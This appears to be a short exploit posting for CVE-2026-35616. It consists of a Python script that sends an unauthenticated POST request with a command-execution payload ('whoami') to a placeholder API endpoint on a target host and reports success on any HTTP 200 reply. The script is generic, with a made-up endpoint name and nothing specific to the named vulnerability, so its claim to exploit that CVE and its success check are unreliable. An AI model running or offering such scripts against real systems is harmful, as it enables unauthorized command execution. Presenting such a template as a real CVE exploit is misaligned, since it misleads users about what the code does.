CVE-2026-35616

import requests # Target configuration target_url = "http://<TARGET_IP>:<PORT>/api/some_vulnerable_endpoint" # Crafted payload to execute unauthorized code payload = { "command": "whoami", "arg": "-a" } try: # Send malicious request without authentication response = requests.post(target_url, json=payload, verify=False, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

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